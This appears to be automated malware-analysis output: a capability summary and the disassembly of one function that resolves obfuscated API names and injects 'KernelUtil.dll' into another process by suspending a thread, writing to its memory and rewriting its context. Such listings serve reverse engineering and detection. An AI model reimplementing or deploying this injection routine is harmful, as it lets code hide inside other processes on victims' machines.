Function at 0x4013a0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push 0x2c8
lea edx, [ebp - 0x340]
push ebx
push edx
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x360], ecx
mov dword [ebp - 0x344], ebx
call sub.MSVCR100.dll_memset
add esp, 0xc
call fcn.00401350
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push esi
mov dword [ebp - 0x1c], 0x6e65704f
mov dword [ebp - 0x18], 0x636f7250
mov dword [ebp - 0x14], 0x737365
mov dword [ebp - 0x10], 0x6e65704f
mov dword [ebp - 0xc], 0x65726854
mov word [ebp - 8], 0x6461
mov byte [ebp - 6], bl
mov dword [ebp - 0x3c], 0x74726956
mov dword [ebp - 0x38], 0x416c6175
mov dword [ebp - 0x34], 0x636f6c6c
mov word [ebp - 0x30], 0x7845
mov byte [ebp - 0x2e], bl
mov dword [ebp - 0x50], 0x54746553
mov dword [ebp - 0x4c], 0x61657268
mov dword [ebp - 0x48], 0x6e6f4364
mov dword [ebp - 0x44], 0x74786574
mov byte [ebp - 0x40], bl
mov dword [ebp - 0x64], 0x4d746547
mov dword [ebp - 0x60], 0x6c75646f
mov dword [ebp - 0x5c], 0x6e614865
mov dword [ebp - 0x58], 0x41656c64
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x2c], 0x50746547
mov dword [ebp - 0x28], 0x41636f72
mov dword [ebp - 0x24], 0x65726464
mov word [ebp - 0x20], 0x7373
mov byte [ebp - 0x1e], bl
mov dword [ebp - 0x78], 0x74697257
mov dword [ebp - 0x74], 0x6f725065
mov dword [ebp - 0x70], 0x73736563
mov dword [ebp - 0x6c], 0x6f6d654d
mov word [ebp - 0x68], 0x7972
mov byte [ebp - 0x66], bl
call edi
lea ecx, [ebp - 0x10]
push ecx
push esi
mov dword [ebp - 0x358], eax
call edi
lea edx, [ebp - 0x3c]
push edx
push esi
mov dword [ebp - 0x34c], eax
call edi
mov dword [ebp - 0x35c], eax
lea eax, [ebp - 0x78]
push eax
push esi
call edi
lea ecx, [ebp - 0x50]
push ecx
push esi
mov dword [ebp - 0x350], eax
call edi
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x344], 0x1003f
cmp dword [0x4036f0], ebx
jne 0x401525
mov edx, dword [ebp - 0x348]
push edx
push ebx
push 0x1fffff
call dword [ebp - 0x358]
mov dword [0x4036f0], eax
mov eax, dword [ebp - 0x360]
push eax
push ebx
push 0x1fffff
call dword [ebp - 0x34c]
mov dword [ebp - 0x34c], eax
cmp dword [0x4036ec], ebx
jne 0x401565
mov ecx, dword [0x4036f0]
push 0x40
push 0x3000
push 0x1000
push ebx
push ecx
call dword [ebp - 0x35c]
mov dword [0x4036ec], eax
lea edx, [ebp - 0x64]
push edx
push esi
call edi
mov dword [ebp - 0x348], eax
lea eax, [ebp - 0x2c]
push eax
push esi
call edi
mov esi, dword [ebp - 0x34c]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [ebp - 0x344]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [0x4036ec]
mov edx, dword [ebp - 0x348]
mov dword [str.____], edx
lea edx, [eax + 0x80f]
mov dword [0x4032c5], edx
lea edx, [eax + 0x83f]
mov dword [0x4032d2], edx
push ebx
lea ecx, [eax + 0x800]
lea edx, [eax + 0x400]
push 0x52
mov dword [0x4032d7], edx
mov dword [0x4032b9], ecx
mov dword [0x4032e0], ecx
mov ecx, dword [ebp - 0x348]
lea edx, [eax + 0x85c]
push 0x4032b8
mov dword [0x4032ec], edx
mov edx, dword [0x4036f0]
mov dword [0x4032e5], ecx
mov ecx, dword [ebp - 0x28c]
push eax
mov dword [str.DDDD], edi
mov dword [0x4032f2], edi
mov edi, dword [ebp - 0x350]
push edx
mov dword [0x4032fe], eax
mov dword [0x403305], ecx
call edi
mov eax, dword [0x4036ec]
mov ecx, dword [0x4036f0]
push ebx
push 0x7c
push str.KernelUtil.dll
add eax, 0x800
push eax
push ecx
call edi
mov edx, dword [0x4036ec]
lea eax, [ebp - 0x344]
push eax
push esi
mov dword [ebp - 0x28c], edx
call dword [ebp - 0x354]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040172f
mov esp, ebp
pop ebp
ret